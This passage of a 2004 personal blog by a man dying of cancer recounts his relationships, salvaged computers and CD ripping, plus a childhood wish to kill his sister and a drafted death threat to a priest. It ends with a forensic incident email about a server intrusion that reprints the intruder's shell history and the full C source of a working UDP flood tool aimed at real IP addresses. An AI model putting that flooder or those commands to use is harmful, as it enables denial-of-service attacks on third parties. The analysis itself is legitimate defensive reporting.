mate with, and this assumption +is usually correct. + +As a very young kid, like, 9 years old, I distinctly remember how things'd +be better if I'd have offed my sister. I should have followed my +intuition; humanity would not have to suffer the burden of her wasted +existance nor expose itself to the possibility that she'd perpetuate it. +And, fuck me, I'd be guilty but I'd get over it. + +I would consider myself a total prick for concieving an infant for such +cynical selfish motives - yeah, kid, I shagged yer mum precisely so there +would exist someone to gun for assets I never even earned. But some of me +wants to start such a kid, precisely for this reason. In 20 years when the +inescapable absence of thermodynamically profitable hydrocarbon bites it +won't matter a millionth of a fuck anyway. It's all a waste. Everything. +But it might as well be wasted on my genes. Not hers. + +But arrr. For the mere price of a shag, I'd be condemning another soul to +tax slavery in a society worse than the one I was born in. + +------------ + +Feb 16: I went over to Joss' old place in Balmain to return "Death of a +Salesman" to Jude's delightful squeeze Sophie. Keith indicated to me that +a parcel had arrived for me from Joss from England. The address is written +in her handwriting which has changed from what I remember of it. + +There's two books inside it. + +Both by a dead guy (well, obviously he wasn't when he wrote them, but he +was, like me, condemned) named John Diamond. On the back of the softcover +one is something about the dude bein killed by his neck cancer in 2001 or +so. I inhaled the hardcover book, which is called C, in a couple of hours. +I already have a book called C, but it's about a programming language, +which given the informational nature of cancer and molecular biology is +sort of appropriate. I was 146 pages into it before it _jumped out_ at me +again that the dude writing it is dead now. He got 2ndaries in the neck +and the primary was in his tongue. He smoked years previously. He had a +couple of years of messy painful chop-work done on his face... fucked up +his voice, couldn't eat properly, couldn't sleep properly, was +tracheotomised. Then he carked it. He was pretty upset about that future. +But then he had a couple of kids and was married. Cancer doesn't give a +shit about that. I wondered if, in the last chapter he wrote, he knew It +Was Coming. He didn't write with the impatient immediacy I'd have expected +of a dying man. But maybe he had the luxury of already having said what +he's wanted to. + + +It saddened me that, in his next-to-last chapter, his answer to a friend's +question `Just tell me, John, what the fuck is the point of it all?' was +so, oh, sorry for saying this - so damned shallow. The dude's an atheist +so at least he didn't write any drivel about worshipping your fuckin' god, +such as appears far too frequently above tombstones and such. But, arrr, +the best two things he could manage to say were: + +1) It's about getting angry with me for having different opinions from +yours or not expressing the ones you have as well as you would have +expressed them. + +...I guess this would occur to a journo, and neatly covers the possibility +that commentries upon this insight, such as this one, might exist, and... + +2) It's about loving and being loved, about doing the right thing, about +one day being missed when you're gone. + +Come on dude... pressed against the bleak grey wall of your own demise +can't ya come up with anything a bit deeper? + +It's about information, computation, biochemistry and thermodynamics, and +with these comes the only real understanding your own nature. Philosophers +are full of shit and always will be. The dudes that matter to the course +of human history are the dudes who figure out the rules of the game. They +get the REAL nobel prizes - medicine, physics, chemistry, literature +(peace is, due to commandments written into our own accursed nucleotides, +a lost cause - recognised I think since it is awarded to pricks like Henry +Kissinger - and economics is a fraudulent delusion - so Nobels in those +fields count for fuck-all). + +It's about understanding that you're a member of a species of chimps which +happened to figure out the information processing language of the universe +and a way to communicate it to their mates (I refer to +mathematics, and the symbolism which was developed for it). A mere handful +of them were bright enough to figure out The Laws of Physics, The Human +Genome, Mathematical Incompleteness, Computational Undecidability, the +Periodic Table, and all the other really important shit which actually +matters. THIS STUFF is what human brains evolved to do. A mere handful of +them discovered the rules that matter and most people will never hear of +them.... early plant domesticators and classifiers (Vavilov comes to +mind), people who figured out antibiotics (Pasteur, Florey), petroleum +resource geology (M. Hubbert King), how to make fertiliser from nitrogen +and fart gas (Haber). + +There is no good or evil, right or wrong, really. There is birth, +survival, reproduction and death - from the point of view of a chunk of +code running on a unix system: + +./, an entry in ps aux, fork, kill + +What it's about, John, is the insight that the code which in which you +(whatever that is) is implemented, is executed in a bone-encased, wrinkly +grey organ which spins an illusion that some nebulous persona called *you* +exists, and spins it for the benefit of the genes which encoded that +wrinkly grey organ's existance. It spins other illusions to delude the +first illusion - that this *you* is in love, that others - similarly +self-deluded *thems* love this *you*, that the *you* is angry or happy, +that the you does or does not give a shit, that writing a paragraph like +this makes a rat's arse of difference to the thoroughness of the delusion. + +When that code stops executing (cos the rest of the meat puppet gets too +broken to support the wrinkly grey organ) _you_ aren't around to be +missed. There's no _you_ to miss, or even talk about, any more. Try it +out. If you don't show up at work for a few weeks and then come back, +you'll notice another similarly self-deluded interchangable-part +programmable protein primate has been swapped into the place your *you* +formerly occupied. Leave a lover for a couple of years, return +unexpectedly and of course they're bringing up rugrats which they had to +someone else. How fuckin' hard is that to understand? Well, very. Of all +self-delusions, the delusion _of_ self is the most insidious and thorough. +Not least because everyone else seems to believe theirs too, making it all +a huge convincing mass self-delusion. + +Biology doesn't just pull the wool over our eyes, it more or less makes +our eyes _from_ the same sorts of amino acids as constitites wool in the +first place. We live in the wool. + +How many people ever wake up to that? Not many. And certainly not Sarte, +by the way. His self-delusion was too busy seducing Simone de Beauvoir to +permit him to even write readable sentences. + +I shouldn't be too harsh, tho. Diamond does, otherwise, write pretty well. +At least, not having been a journo for twenty-odd years, I have as my +excuse not to write so well, the excuse of inexperience. + +--------------------------- + +Feb 18 + +Zyn and I met up at the uni and after I burned my legs in the sun for a +while, went for a spin down to the abandoned gun turrets at La Perouse, +which turned into enjoyable snogs in various places. Amazingly enough, and +what the fuck does the universe think it's playing at - she's dying of +cancer too. At this point all persons sighing `Aaaahh!' as if some sort of +perfect match has been made should just go and shoot 'emselves cos it's +sure as shit not like that. I wouldn't wish it on anyone. I nevertheless +got this amazing sense of relief that there's someone else who's in the +same sitch as I am and we are hence to some extent able to dispense with +the relationship inequalities which come about when one participant is +gonna be dead in a handful of months. + +There was some heavy processing of the situation; how ya can't plan for +anything anymore, how everything suddenly appears totally fuckin' +pointless and joyless and at the same time somehow more savoury (like you +want a pizza more when someone snatches it away from you) rah rah. The +upshot of this chatting is that the opportunity to snort lines of our own +self-pity is dispensed with, and we can get on with pretending to be +normal people. + + +I dropped her back at Parramatta and rode back to Blakehurst. I got home +and frigged around with an abandoned Pent-166/64Mb/2Gb item I found on the +roadside while I was walking the dog in the morning. During test/bootup I +found it has WinPuke2000professional on it and many of the desktop icons +are auto-dialups to internet sex providers (whaddya do, slam yer doodle a +couple of times in the CDROM drive tray? Me, I prefer hi-res SVGA and a +tube of KY but it makes the keys sticky in the long run). It works, runs +quietly, is good. A couple of NICs and GNU/Linux and it's aDSL router +fodder, one less machine in the landfill. I washed my hands after touching +the keyboard and sprayed it with Glen-20 to neutralise any residual +anonymous geek jizz. Ewww. + + +Mum came home later and told me I'd had a call from old Ron Harden (a name +I find phonetically ironic for a bloke who has taken a vow of chastitiy). +He's the catholic priest up at Croydon Road (he never, ever forgets a fone +number). Ron, it appears, is concerned about my sickness and is praying +for me. Mum, (I just typed `bless her' but maybe I seek a different +phrase) mentioned to Ron that I was an atheist. Nice try mum but you don't +understand Ron. Telling him I'm an atheist just means, I suspect, that +he'll try all the harder to convince me that I have an immortal soul and +that he is the instrument through which god will attempt to save it from +the fires of Hell. + +She knows not that I haven't spoken to him for about ten years after I +deduced there was nothing he could tell me which wasn't somehow designed +to assimilate me into his belief system. Maybe he's concerned about me in +a purely human capacity but I doubt it. + +If he so much as tries the merest hint of a precursor to a deathbed +conversion, he is really, really gonna get it. Something like: + + +------------------------------------------------------------------------------ + +Ron! + +There is no God! + +If hell exists I am just about qualified to run the place. I've committed +every sin you have a commandment against and a few for which there aren't +but bloody well should be. In no particular order: + +I reprogrammed organisms which you think your god wrote. +I flung a load of vocational opportunities down the can. +I'm enjoying a debauched relationship with several women, and they appear +to be enjoying it right back. +I own porn, drugs, guns, and books by Richard Dawkins, and have used all +of them in their intended capacities. +I've committed carnal acts on a dead person's tombstone. +I've paid to have killed my own bastard before it ever got out of the first +trimester, and I wasn't even completely sure it was mine. +And I've quite possibly sired some and might sire others. +I got sly hard-ons for the blonde girl with the nice arse in the forth pew from +the back while you were doing your sturn und drang sermon about premarital sex. +And for the sleek guy in the third row from the front. +Years ago I confessed to fabricated sins I wished I'd had the guts to actually +commit and you forgave me for committing them, so later I went out and did +'em, feeling licensed with pre-emptive forgiveness. +Parts of me are immortal, so I can probably be busted for impersonating a God. +I started an organisation which breaks more laws per day than most people +break in a lifetime, and the membership loves me for it. + +I've told the woman I love that I don't fucking care if I see her again or not. +I've turned off sets of traffic lights, tapped and taped people's phone +calls, jammed people's radios, ripped CDs, thrown copies of Gideon's +Bibles in the hotel toilets, dodged rent; broken/fixed, entered/departed, +and stolen anything I could carry. +I estimate I owe a couple of million in fines for trespassing in drains at +$20k a go. + +I've lived a life to which no CV could ever bear witness. I am guilty as +charged, shameless, and unrepentant. + +I have good reasons to think organised religion is a centuries-old highly +evolved information-systemic cultural parasite which has successfully +taken over your whole brain for the last sixty years primarily to use you +as a vector for its own propagation. + +As for the human condition, dying *is* the fucking cure, nothing stops it, and +that includes prayer. + +If you have the chutzpah to come to give me last rites, I will ensure you don't +live long enough to recieve yours. + +Anything else? + +Fuck off. + +Nothing personal, Ron. + +------------------------------------------------------------------------------ + + +I started the 18th dropping a monitor off at the UTS food co-op after Moz +suggested they needed a new one. I bagged on old one out of the shed and +roped it to my pack and rode around plugged it all in for Lauren who has a +LOT of 0's and 4's in her fone number. The old monitor made a satisfying +implosion as the CRT neck broke when I chucked it in the +dumpster. Then I went to Polymorph to get my belly button pierced and they +wouldn't do it 'cos they said I had the wrong sort of belly button. Oh +well. + +I met Zyn at the Uni after doing the bullshit paperwork to get my wages +paid to the right account (more superannuation deductions thrown down the +toilet and short of bombing parliament there's nothing I can do about it), +and chatting to Ted Trainer about the lecture course he is giving, which +appears, according to what Zyn sez about it, to have not changed +significantly in the last five years. We ended up on a patch o' grass +snogging for ages and wondering where the hell we were gonna get some +privacy for a quiet session of gentle carnality. I collected Purple Death +Faerie later from outside the Wilkinson building on City Road and went out +to her dad's pad at Lidcombe, where she took me up on the offer of a +massage and then fucked me tooth and nail to a backing track of +Portishead. I'm covered in bites and petechiae and am scratched up quite a +bit, too. It'll heal. She's a pretty bright and imaginative chick, +actually, and a pleasure to be around. The chap who suggested to her that +she shag me, novocastrian Kev, rang up in the middle of the shag, she had +the good manners to not answer the call, and turned the thing off. He rang +the landline later and PDF (purple document faerie? portable death faerie? +purple death format? Adobe can get rooted) stood nude by the phone and +told him we'd just been shagging. Kev might be a crazy but I think I owe +him one. Not a shag, idiot - _a favour_. + +------------ + +19th. Got oil, changed oil in 'cycle. Tested a whole bunch of network +cards and a couple of CD drives for cat.org.au in the machine I found on +the road the day before. Memtest sez its RAM is in perfect nick! The power +supply is a bit lackluster. + +I suggested to Zyn that we go camping but she wasn't into it, on the +grounds that she's in that stage of her remaining life where she gets sick +every few days and doing this when out in the bush is probably not +something she's up to. Fuckin' cancer... coitus preemptus oncologica. + +---------- + +20th. Zyn and I spent some time on a fone call where we discussed her +being sick and stuff. We met up later that day after I'd ripped some 1987 +New Order cds. One was scratched enought that cdparanoia couldn't rip it +so I cleaned the disks, played 'em in an old cd player and sampled the +output with the A/D converter in my soundblaster, and wrote that to CD. + +This is because I've been playing with Gramofile again - which is designed +to digitise the audio feeds from vinyl records. This is for two reasons: +1) there are CDs around with something called Copy Control on them - +errors designed to stop the 'poota CD drive reading the disk but which +most normal audio CD players can use, and 2) I have CDs which have +scratches in them which are beyond cdparanoia's ability to error-correct +them during normal ripping. Gramofile takes an audio feed into a +soundblaster, digitises it, then writes a .wav file (suitable for feeding +to cdrecord later) to the harddisk. So as long as you feed in a clean +signal not so loud it clips (gramofile will tell you if this happens so +you can play the source again at lower output volume) and not so quiet the +SB processor noise is noticable, you can rip from the audio output of a CD +player, either at line levels (2.5V peak-to-peak) or headphone levels (for +high impedance devices) and get really good quality sound. I checked 'em +out in real time with xmms. Gramofile also has auto track splitting and +will de-hiss/de-pop the output if required. + +Using the error correction in a regular audio CD player, and using this +method to digitise the output sound, I can hence copy any copy control +CDs, and I can also get around CDs so scratched cdparanoia barfs on them +all night. + +I figured out what the problem was with the .wavs which tended to be +produced by my old version of gramofile. cdrecord complained about them. +It wasn't finishing the wav files off in a sector which was a multiple of +2352 bytes so the .wav file was unsuitable for writing a track to cd. +There are two ways around this. Whereas normally I'd do + +#cdrecord -audio dev=0,6,0 speed=4 -v track* + +now I use the pad option to fill up the last sector with zeros so cdrecord +can cop it: + +#cdrecord -audio dev=0,6,0 speed=4 -v -pad track* + +Which means there's now a bunch of zeros at the end of each track to fill +up the sector, and a fraction of a second of silence between the tracks, +but it was gonna be there anyway 8-) Turns out modern versions of +gramofile deal with this anyway, it shortens each track to 1/75th of a +second (588 samples/second at 44kHz). + +-- + +Zyn is hesitant. I can't figure her out. She won't shag in any of the many +abandoned places I know about, doesn't want the tawdriness of a pay-for +location to shag in. Wants that I dress up, take her to a restaurant, etc +etc. She's impatient to get email from me since I happened to be prompt in +the first few days of email exchanges. + +The South African, on the other hand, is not hesitant at all. I dropped around +on Sunday night en-route to returning a milk crate to Diode's place since +it started raining. She scored a massage and a shag which I was quite +happy to share with her and which she reckons she enjoyed quite a lot, +too, happily. Nor for that matter was the cookie manufacturer hesitant +either, she shagged me on friday night, after we'd enjoyed a delightful +barbecque with a bunch of retired bank robbers and murderers who have +turned their hand to running an offset printing business and design shop, +which is sadly feeling the squeeze of the desktop publishing revolution. +And she shagged me saturday morning before I even had a change to get out +of bed too. Does one have to be dying before one gets it this good? + +------- + +Stucco (for whom I put in a LAN last year) wanna put in a 2km wireless +internet hop from their roof to the roof of the incinerator over at +Alexandria, which is being squatted by artists and students with the +permission of the relevant council. I'd love to do it and have all the +required hardware and software, but they're quibbling about how much +bandwidth are the 'rator is likely to pull and how much would they have to +pay for it. Fuck it. I'm just slapping a test rig together now in case +they decide how to get around this problem. + +------- + + +In background of all of this I am chewing slowly on the question of Joss. +I phrase it this way because she may, or may not, show up in Oz. She may +or may not still be married. She may or may not go back to England later +on. If she returns there will be much weeping. The tears of seeing a long +absent friend again, the tears that come from being reminded of their past +and future absence, rah rah rah. There is much to say. + +I've read one of the books she sent, by John Diamond. He's dead of cancer, +but was a pretty good journo in advance of that. I feel a bit of an inept +wanker writing this blog, he is capable of delightful turns of phrase +which I cannot begin to match for their talkative torque. He got a +secondary in the neck, but his primary was in his tongue. He smoked. So +they cut his tongue out. No swallowing, no talking, no eating out in +either senses of the phrase, fuckin' wretched thing to have happen to ya. +Losin' a kidney's quite literally a piece of piss by comparison. + +------ + +Other stuff I found on the roadside in the local council garbage +collection whilst walking the savage dog: Three functional VGA monitors +(several others had been rendered useless, their signal cables removed by +by Cord Chopper). Out of the blue a 13Gb harddisk, which works, yay. A +shitload of good hard dense firewood, pre-chopped, dried, in front of +which mum will sit in winter, smoking her ciggies and getting excited +about the footy in front of the telly like she has for years. A large +wheelbarrow. A quad array of halogen downlights, which work and which I'll +install in the courtyard so finally we can see what the hell we're doing +at night. + +The firewood has some termites in it. Which is dangerous cos they escape +and then go infest yer house and eat its structural timbers. So I sealed a +split in our very old 600L wheeliebin until it was airtight, dropped the +termite-infested blocks into it, then dropped a blast of CO2 in there from +the fire extinguisher I salvaged from a garbage pile in an abandoned +factory in Alexandria. The CO2 will kill all the termites - they need +oxygen like we do. It comes out of the extinguisher loud, fast and +freezing cold - crystals of the stuff condense on whatever you spray it +at. CO2 is a good food preservative for this reason, too, though some +anaerobes survive well in it despite its dehydrating and acidifying +effects. + + + +-------- + +Feb 24. I am 32 and three quarters. I am one eighth of the way through the +the statistically allocated two years within which there is an 80% +probability of my being killed by my insidious cytological megalomaniac. I +live my life, take my pills and try not to think about it too much, and +fail. I think about it all the farking time. It's not so linear and simple +as the number above suggest - now that an eighth of this 80% fatality +probability window has been survived, doesn't mean the chance has gone +down, it just means it exists over a smaller time frame, so it's still 80% +likely I'll be dead by sometime before Nov 2005. After that the odds suck +even more. An additional 19% chance of being dead exists within the three +years after that. 99% dead within 5 years of nephrectomy. Do. The. Math. + +How will people notice... pred stops posting to catgeek? + +I put mum on the back of the motorbike today (she doesn't understand 11am +_sharp_ which was when i wanted to leave by, means 11:00:00am fucking +sharp, we eventually got out at 11.15am after predictable preventable +farting around). She looks funny in a helmet as wide as her narrow +shoulders. We rode out to the Cemetary in Camperdown (yes, if you're +asking, the same one where PDF shagged me) and checked out the graven +masonry. There's a lot of headstones in there which record kids who died +before they were a year old (these are recorded as living n months and m +days - higher resolution - since when you're only a few months old each +day of survival becomes important), adults who died in their twenties, +thirties. We found, amongst other things of a non-cemetarian nature, a +child's toy - imitation mobile phone, still working, which made odd noises +when the buttons were pressed. Tho, the place is very *old* and the trees +huge and sprawly, some of them erupting from the centres of old graves, +fed by the nutrients below. Dudes write a lot of ersatz pious crap on +their gravestones. Well, maybe I shouldn't blame 'em, their relatives +usually write it for them. + +Mum enjoyed it immensely. We sucked coffee and ate lunch on King st and +rode home in the rain (which is exciting for a novitiate pillion passenger +but a drag if one is up front). It has rained continuously and she hasn't +shut up about the trip since. + +----------- + +Arrr broken hardware shits me. I've built a test rig in the other back +room, consisting of four machines: two laptops, each connected to a +standard desktop machine, each of which is in turn connected by a small +2.425GHz hop (lossy, due to no aerials, hence low dB gain and poor S/N +ratio, but workable). In the process of getting it all set up I've +diagnosed and condemned a cdrom drive, an ne2000 network card (no such +card at this interface address), a 3c59x Vortex network card (well, it's +partly broken but still usable so I've moved it to my main machine), and a +decade-old ne1000 network card which worked last week but had mysteriously +gone deaf (no Rx packets). All the remnants are pumping data now. I have +to figure out the gateway assignments so data can go + + laptop---desktop)))) microwave link (((((2nd-desktop---2nd-laptop + +but its been such a lot of work weeding out the broken bits that there's +little remnant satisfaction when one finally gets it working. So I leave +it on for a week to see if it blows up, to protect the link from infant +mortality in-situ. + +The thing that most shits me about it is the time spent diagnosing/fixing +it which could be spent elsewhere (like writing the thesis). Hardware is +my domain, though, so I can eventually get stuff fixed and it is +satisfying to do this. Software is another issue. + +cat.org.au's main server is called conway, and I built it. In the last 4 +days it has started to crap out a lot - lately I can't ssh into it from +the dialup link to diesel.cat so I can't read or write my emails - but +this seems, from where i sit, not to be a hardware problem (it answers +pings ok), but some stupid software config messup. Funny. We went all +January without a hitch, the machines worked for us. They glitch out and, +helpless, we suddenly have to work for them. Three cat members live in the +same building as the servers do. Soz, the Cookie Manufacturer, and Len. +Soz and Cookie are at work. Len is uncontactable so he can't be asked to +kick the box into life again (and it has no GUI so I harbour a suspicion +that as an ingrained macintrash user maybe he couldn't anyway). And I am +strongly disinclined to go driving through the rain to make it work, when +it'll just crap out again due to some asshole software problem which will +not be fixed by whoever is responsible. So I send frustrated SMSs to +another of the uebergeeks, Andy, like so: + +IS THERE ANYONE AT TURELLA WHO CAN RESTART CONWAY? HAS ANYONE A CLUE WHY +IT DIES? SHOULD WE CRON REBOOT IT 24HRLY? I WANT MY MAIL AND I DONT HAVE +TIME TO WASTE + +This is not gonna get anything fixed and it'll just make Andy grumpy and +unappreciated. + +I'm becoming something of a time nazi. Shit has to happen *now*. + +So. Fuck it. I suit up and ride in and restart it. + +------- +Fri 26 Feb. + +Dad turned 72 (The best thing I could give him was an SMS saying HAPPY +65TH BIRTHDAY DAD! 8-) ) and it's three months to the day that Mr Fuck +Off Tumor was carved from my loins and I didn't even think about it until +just a second ago. For twelve weeks I have been recording the mindless +trivia of my life and I am incredibly grateful that it continues unabated, +but fuck, I'm gonna forget that I've got my marching orders and then I'll +get bitten again, unprepared. Bill the metastasis, my personal +supraclavicular onco-paranoid-ometer feels about 15mm diameter on its +longest axis. I want him to go away. I know he ain't gonna - I've been +irretrievably histologically hacked. + +On the roadside, while walking the dog, I found an electric mozzie zapper +to replace the broken one hanging feckless from our northern eave. I hung +it up and wired it in - it works! Satisfying zzzzZZZT! noises and the +stench of overcooked insect meat emanate from it and its light reveals +cryptic fluroescent messages in my spectacle lenses. And also found more +firewood. Not a lot of computers, there aren't many geeks in this suburb. +Television prevails, brainwaves are flat. + +I started playing with some sample .lyx PhD templates... I am encouraged +that there exist German universities for who a PhD consists of something +you write and then submit to them, without the bureaucratic overhead of +meetings and supervision and other such bollocks which has appended itself +to those in the English-speaking nations. But fucked if I'm gonna write it +Hoc Deutsche. This is kinda useful too since I bumped into Clifford the +dude who was at Sydney Uni chem about fifteen years ago and is still there +dispensing reagents to the organic chem students - he sez they have +Beilstein online there (woohoo, incalculably valuable!) and I should drop +in and use it! This is great news cos I can search the entire German chem +structural literature for chemical structural *moieties* and, given their +frequency of occurence, determine their information content, bitwise, +without having to go read all of say, the Merck Index. Beilstein is now on +a cdrom if you have several tens of thousands of dollars US to pay for it. +On paper, it occupies an entire wall of the chem libraries which stock it. + +I ate nosh with Merro and Lou, and chewed the rugrat issue over. It +niggles. Then I went back to Turella to find out if Andy had prepared the +new drive for transplantation into conway whom I suspected of having a +failing /dev/hda. + +About 4am I finally got to sleep. I awoke at noon and got halfway through +a shag with the cookie manufacturer then sorta got distracted and soft and +scattered, I'd had little sleep and was still mentally processing a lot of +stuff from the night before, where I'd spent the wee hours busting a UNSW +student, Indonesian script-kiddie 3l33t hax0r who, according to emails +sent later from my erstwhile employers, has been significantly fucking +them around for the best part of a year and according to the logs on +Conway has been impersonating me and executing things under my account +name for about a week. I am not dead sure the cracker was the reason for +conway's erratic behaviour, but it correlates. + +Here's what I sent 'em: + +---------------------------------------------------------------------------- +---------------------------------------------------------------------------- + +From predator@cat.org.au Fri Feb 27 00:57:43 2004 +Date: Thu, 26 Feb 2004 03:25:27 +1100 (EST) +From: predator@cat.org.au +To: catgeek@cat.org.au +Cc: xxxxxxx@unsw.edu.au +Subject: I've been sniffed by a UNSW user! mine and rootpwd has changed + +I came here to cat.org.au tonight (12:30am 26 Feb) and noticed that there +was LOTS of activity on the hub (as in, 10mbit full saturation). Conway +was hellishly busy. I logged in at the tty and noticed this login from +129.94.222.175 which resolves to somewhere in the UNSW Faculty of Commerce +and Economics, probably to quad lab 3 or 4 on the first floor. + +My passwd has since been changed. Rootpwd on conway has also been changed. +chkrootkit indicates nothing (yet). + +top indicated a process was eating lots of CPU and was running from my +directory. Its name was hajar. It has been installed on the 19th of Feb at +2:37am. It is accessible at: + +/home/predator/ /hajar" and is 6267 bytes long. + +It's a binary executable. Execution permissions have now been removed and +the file frozen. The executables were compiled on Feb 19. + +TCP ports open on the originating UNSW machine above are: +25, 135, 139, 161, 162, 427, 445, 593, 1025, 4444, 5000 + +Whoever this character is they left a lot of profile fingerprints in the +.bash_history file, segments of which are presented below with +commentaries: + + + 166 logout <-me logging off + 167 w <-him/her logged on, looking around + 168 ps x <- I never do ps x, always ps aux + 169 w + 170 df -h + 171 whoami <-I already *know* who I am + 172 mkdir + 173 mkdir " " <--getting sneaky + 174 cd " " + 175 wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz + 176 tar zxvf psyBNC2.3.1.tar.gz + 177 cd psybnc + +psyBNC is an mIRC bouncer, whatever that is (a relay?) + +Now this is interesting. I can't find a symlink but slocate finds psybnc +unpacked in /home/catskills/.../psybnc ... la -lurt indicates fairly +recent usage of most of it. This has also had x permissions removed +and has been frozen too. Also note the username permissions... cam?? + +total 748 +-rw------- 1 cam cam 3756 Feb 22 12:09 targets.mak +-rw-r--r-- 1 cam cam 854 Feb 22 12:09 salt.h +-rw-r--r-- 1 cam cam 369 Feb 22 12:09 psybncchk +-rw------- 1 cam cam 1531 Feb 22 12:09 psybnc.conf +-rw-r--r-- 1 cam cam 5992 Feb 22 12:09 makesalt +-rw-r--r-- 1 cam cam 704 Feb 22 12:09 makefile.out +-rw------- 1 cam cam 783 Feb 22 12:09 config.h +-rw-r--r-- 1 cam cam 76 Feb 22 12:09 TODO +-rw-r--r-- 1 cam cam 36674 Feb 22 12:09 README +-rw-r--r-- 1 cam cam 1347 Feb 22 12:09 Makefile +-rw-r--r-- 1 cam cam 2660 Feb 22 12:09 FAQ +-rw------- 1 cam cam 17982 Feb 22 12:09 COPYING +-rw-r--r-- 1 cam cam 19875 Feb 22 12:09 CHANGES +-rw------- 1 cam cam 6 Feb 22 12:09 psybnc.pid +-rw------- 1 cam cam 1558 Feb 22 12:09 psybnc.conf.old +-rw-r--r-- 1 cam cam 589768 Feb 22 12:09 psybnc +-rw------- 1 cam cam 113 Feb 22 12:09 USER2.LOG.old +-rw------- 1 cam cam 56 Feb 22 12:09 USER2.LOG +-rw------- 1 cam cam 493 Feb 22 12:09 USER1.LOG +drw-r--r-- 2 cam cam 4096 Feb 24 08:54 tools/ +drw-r--r-- 2 cam cam 4096 Feb 24 08:54 src/ +drw-r--r-- 3 cam cam 4096 Feb 24 08:54 scripts/ +drw-r--r-- 2 cam cam 4096 Feb 24 08:54 motd/ +drw-r--r-- 3 cam cam 4096 Feb 24 08:54 menuconf/ +drw-r--r-- 2 cam cam 4096 Feb 24 08:54 log/ +drw-r--r-- 2 cam cam 4096 Feb 24 08:54 help/ +------------------- + +See also /home/catskills/.../tare for (not listed here) a load of trawled +IP numbers. Anyway the dude gets the tarball and compiles the contents + + 178 ls -al + 179 make menuconfig + 180 make menuconf/ + 181 make menuconf + 182 make menuconfig + 183 cd .. + 184 cd .. + 185 ls + 186 ls -al + 187 cd " " + 188 ls -al + +Then removes the directory and the tarball itself + + 189 rm psybnc + 190 rm -rf psybnc + 191 rm psyBNC2.3.1.tar.gz + 192 wget http://www.geocities.com/cafetaiwan/tembak.c + +Interestingly enough this is still there on Geocities. It's a text file, +with C code in it. Here it is. Looking at the variable names whoever wrote +it is linguistically fluent with Indonesian. + +------------ +#include +#include +#include +#include +#include +#include +#define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" +#define UKURAN_PELURU 45 + +int echo_connect(char *, short); +int echo_connect(char *server, short port) +{ +struct sockaddr_in sin; +struct hostent *hp; +int thesock; +printf("\n"); +printf("Pasukan..!!!! Tembaaaak %s ke port %d\n", +server, port); +hp = gethostbyname(server); +if (hp==NULL) { +printf("Di %s gak ada sasaran, Boss!!\n",server); +printf("\n"); +exit(0); +} +bzero((char*) &sin, sizeof(sin)); +bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); +sin.sin_family = hp->h_addrtype; +sin.sin_port = htons(port); +sin.sin_family = hp->h_addrtype; +sin.sin_port = htons(port); +thesock = socket(AF_INET, SOCK_DGRAM, 0); +connect(thesock,(struct sockaddr *) &sin, sizeof(sin)); +return thesock; +} + + +main(int argc, char **argv) +{ +int s; +if(argc != 3) +{ +printf("\n"); +printf("Kirim Paket ke IP orang\n\n"); +printf("Cara Pake : $ tembak hostname.orang port \n\n"); +exit(0); +} +s=echo_connect(argv[1], atoi(argv[2])); +for(;;) +{ +send(s, JENIS_PELURU, UKURAN_PELURU, 0); +} +} + +They wrote it in July of 2002... or downloaded it to their directory in +2002. Lots of other uh... interesting tools there. Anyway, what the dude +does with his/her freshly compiled tool (note: probably doing CS, knows +how to use gcc compiler) is go launch attacks on other machines with +it. And read my mail. It's an exploit. + + + 193 gcc -o hajar tembak.c + 194 ls + 195 w + 196 ./hajar 80.144.184.19 51& + 197 w + 198 pine + 199 pine + 200 w + 201 pine + 202 pine + 203 w + 204 logout + + 248 logout + 249 w + 250 cd " " + 251 ps x + 252 ls + 253 w + 254 w + 255 ./hajar 202.159.50.17 51& + 256 w + 257 last + 258 last | more + 259 pine + 260 ssh turing <--- interesting. Checked out OK from .history. May be me! + 261 exit + + 310 ls -ld + 311 ls -l + 312 ls -la p* + 313 | more + 314 ls -la p* | more + 315 w + 316 w + 317 cd " " + 318 ls + 319 ./hajar 202.155.38.120 51& + 320 w + 321 pine + 322 w + 323 last | more + 324 logout + + 361 cd " " + 362 w + 363 ls + 364 ./hajar 203.173.147.137 51& + 365 w + 366 pine + 367 w + 368 logout + +So here's me tonight: + + 500 logout + 501 passwd <-ahem! + 502 last | more <-who else has been on here lately? + 503 sudo traceroute 129.94.222.175 <-- I know that machine. + 504 pine + 505 history | more + 506 locate hajar + 507 cd /hajar <--- ahh, the spaces! + 508 cd "/home/predator/ /hajar" <- it's not a directory its a file. + 509 ls -la "/home/predator/ /hajar" <-characterise it + 510 pine "/home/predator/ /hajar" <--thinko + 511 pico "/home/predator/ /hajar" <-- read it. Executable. Yuk! + 512 ls -la "/home/predator/ /hajar" + 513 chmod -x "/home/predator/ /hajar" <--- stop its execution. + 514 ls -la "/home/predator/ /hajar" <-- check + 515 chattr +i "/home/predator/ /hajar"<--freeze it + 516 lsattr "/home/predator/ /hajar" <--check frozen + 517 cd public_html/ + 518 ls + 519 ls -lart GENC5001* > lart.txt <--check these havent been + 520 ls -lart GENC5001* <-- messed with + 521 history + 522 history + 523 history | more + 524 history > history.txt <---interesting footprints! + + --------------- + +Access dates (time/datestamp on conway is accurate) of interest from this +UNSW terminal are : + + +predator pts/4 129.94.222.175 Thu Feb 26 00:26 - 00:43 (00:16) +(this morning, I chopped their session off at 00:43) + +predator pts/0 129.94.222.175 Sat Feb 21 13:29 - 13:47 (00:18) +predator pts/0 129.94.222.175 Fri Feb 20 16:41 - 16:59 (00:18) +predator pts/0 129.94.222.175 Fri Feb 20 16:10 - 16:10 (00:00) +predator pts/1 129.94.222.175 Thu Feb 19 18:56 - 21:24 (02:27) + +and... check out those timestamps! Whoever they are has after-hours and +weekend access... possibly remotely. + +I think it's reasonable to assume that whoever is/was doing this will show +up today (thurs, 26 Feb) and sit down at exactly the same machine, and +attempt to log in (which will show in our logs) to figure out why their +remotely installed IRC relay (?) isn't working any more. It's also likely +that whoever they are, they obtained my username/password via, say, a +sniffer which remains installed on the UNSW machine in question (to which +they return many times). Maybe they saw me type it in, which suggests a +student of GENC5001. Maybe, their name is Hajar (not super-likely but +anyway). Additionally it's likely whoever this is, is not only attacking +my system. In any case, all these other places they attack are probably +going to have UNSW IP numbers showing up in their logs as well as our IP +numbers. + +Anyway, its 3:30 am and I need sleep now. If other geeks want to poke +around and suss out the system, you have my encouragement. + + + +---------------------------------------------------------------------------- +---------------------------------------------------------------------------- + +They've been chasing him for several months, and 